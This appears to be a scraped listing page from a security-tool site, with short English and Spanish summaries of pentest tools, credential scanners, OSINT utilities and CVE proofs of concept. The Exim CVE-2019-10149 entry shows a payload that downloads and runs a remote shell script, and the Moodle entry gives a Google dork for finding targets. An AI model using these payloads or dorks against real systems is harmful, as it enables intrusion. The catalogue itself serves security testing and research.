wifi-monitor

wifi-monitor Prints the IPs on your local network that're sending the most packets ack = 802.11 control frame acknowledgement or block acknowledgement req = 802.11 control frame request to send clear = 802.11 control frame clear to send data = QoSData or Data Options: -j: prints new devices that...

changeme

changeme Un escáner de credenciales por defecto. Acerca de changeme retoma donde los escáneres comerciales lo dejan. Se centra en detectar credenciales por defecto y puerta trasera, no necesariamente credenciales comunes. Su modo predeterminado es escanear credenciales HTTP por defecto, pero tien...

changeme

changeme A default credential scanner. About changeme picks up where commercial scanners leave off. It focuses on detecting default and backdoor credentials and not necessarily common credentials. It's default mode is to scan HTTP default credentials, but has support for other credentials. change...

Exim-CVE-2019-10149

Exim-CVE-2019-10149 PoC for exploitation of vulnerability CVE-2019-10149 Usage example python3 PoC.py --rhost 192.168.1.100 --lhost 10.10.10.10 --lport 4444 --payload '/bin/sh -c wget http://10.10.10.10:8000/shell.sh -O - | bash'...

raven

Raven Actualmente no se mantiene Raven es una herramienta de recopilación de información de LinkedIn que puede ser utilizada por pentesters para recopilar información sobre los empleados de una organización usando LinkedIn. Aviso legal root@kitploit: Por favor, no uses este programa para hacer...

CVE-2018-12533

RF-14310 / CVE-2018-12533 generador de payload Basado en la investigación de Lucifaer Todo el crédito va a https://github.com/Lucifaer Referencias https://access.redhat.com/security/cve/cve-2018-12533 richfaces-jboss-poc Prueba de concepto fácil de desplegar para practicar la explotación de...

MoodleExploit

Moodle Exploit Exploit Title: Moodle v3.4.1 RCE Exploit Google Dork: inurl:"/course/jumpto.php?jump=" Date: 15 March 2019 Exploit Author: Darryn Ten Vendor Homepage: https://moodle.org Software Link: https://github.com/moodle/moodle/archive/v3.4.1.zip Version: 3.4.1 Possibly 3.5.0 and maybe even...

Zulu

Zulu - the interactive fuzzer Released as open source by NCC Group Plc - http://www.nccgroup.com/ Developed by Andy Davis, andy dot davis at nccgroup dot com https://www.github.com/nccgroup/Zulu Released under AGPL see LICENSE for more information Documentation see...

BurpSuiteJSBeautifier

Burp Suite JSBeautifier La mayoría de los sitios web comprimen sus recursos, como archivos JS, para aumentar la velocidad de carga. Sin embargo, probar la seguridad y depurar un recurso comprimido no es una tarea fácil. Esta es una extensión de código abierto para Burp Suite que permite embellece...

XXEinjector

XXEinjector XXEinjector automatiza la recuperación de archivos utilizando métodos directos y fuera de banda. El listado de directorios solo funciona en aplicaciones Java. Para otras aplicaciones, se debe utilizar el método de fuerza bruta. Opciones: root@kitploit: --host Mandatory - our IP addres...

PwnCity

PwnCity An insecurely configured TeamCity continuous integration environment. Work in progress: Deployment code coming soon eventually . Demo There may be more than one path through PwnCity, but this is the one I'll be presenting on Feb 24th at the OWASP Sacramento Chapter meeting. Note:...

Apache-Solr-Arbitrary-File-Read

Apache Solr Arbitrary File Read Hit Counter Apache Solr stands for Searching On Lucene with Replication is a free, open-source search engine based on the Apache Lucene library. Written in Java. Apache Solr has RESTful XML/HTTP and JSON APIs and client libraries for many programming languages such...

CVE-2022-26134

CVE-2022-26134 Confluence Pre-Auth Object-Graph Navigation Language OGNL Injection Confluence is a web-based workspace collaboration product that is developed by Atlassian. It can be deployed on-prem or as part of Atlassian Cloud. It consists of 3 key features: page, space and page tree. Page: Yo...

CVE-2025-2304-POC

CVE-2025-2304-POC Manual poc for CVE-2025-2304: Camaleon CMS Version 2.9.0 Exploitation Steps 1. Log in as a low-privileged user e.g., "Bob". 2. Intercept the password change using a proxy e.g Burpsuite, caido and more 3. Capture the updatedajax request during a password change. 4. Inject the...

honeyLambda

Trampa sin servidor honeyλ - una aplicación simple sin servidor diseñada para crear y monitorear URL honeytokens, sobre AWS Lambda y Amazon API Gateway Notificaciones de Slack Alertas por correo electrónico y SMS Cargar configuración desde archivo local o Amazon S3 Personalizar la respuesta HTTP...

h8mail

h8mail is an email OSINT and breach hunting tool using different breach and reconnaissance services, or local breaches such as Troy Hunt's "Collection1" and the infamous "Breach Compilation" torrent. 📖 Table of Content Table of Content Features APIs Usage Usage examples Thanks & Credits Related...

h8mail

h8mail es una herramienta de OSINT de correo electrónico y búsqueda de brechas que utiliza diferentes servicios de brechas y reconocimiento, o brechas locales como "Collection1" de Troy Hunt y el infame torrent "Breach Compilation". 📖 Tabla de contenido Tabla de contenido Características APIs Uso...

CVE-2025-0108-Authentication-Bypass-checker

Esta herramienta comprueba si un dispositivo PAN-OS objetivo es vulnerable a la vulnerabilidad de omisión de autenticación CVE-2025-0108. Envía una solicitud HTTP manipulada al objetivo y analiza la respuesta para determinar si el dispositivo es explotable. Uso IP única root@kitploit: python...

burp-jq

Burp JQ This is a Burp Extension to apply jq queries to JSON content from the HTTP message viewer. Build root@kitploit: $ gradle fatJar Credits Burp JQ relies on jackson-jq, a Java implementation of jq. jq jackson jackson-jq...

Arlo

Arlo Extract executable binaries from Arlo dump & updates See blogpost at https://www.synacktiv.com/publications/arlo-im-watching-you Parser arlo.py is used to parse a Flash memory dump, download and parse updates or list knwon models. It requires cryptography, asn1crypto and requests pip package...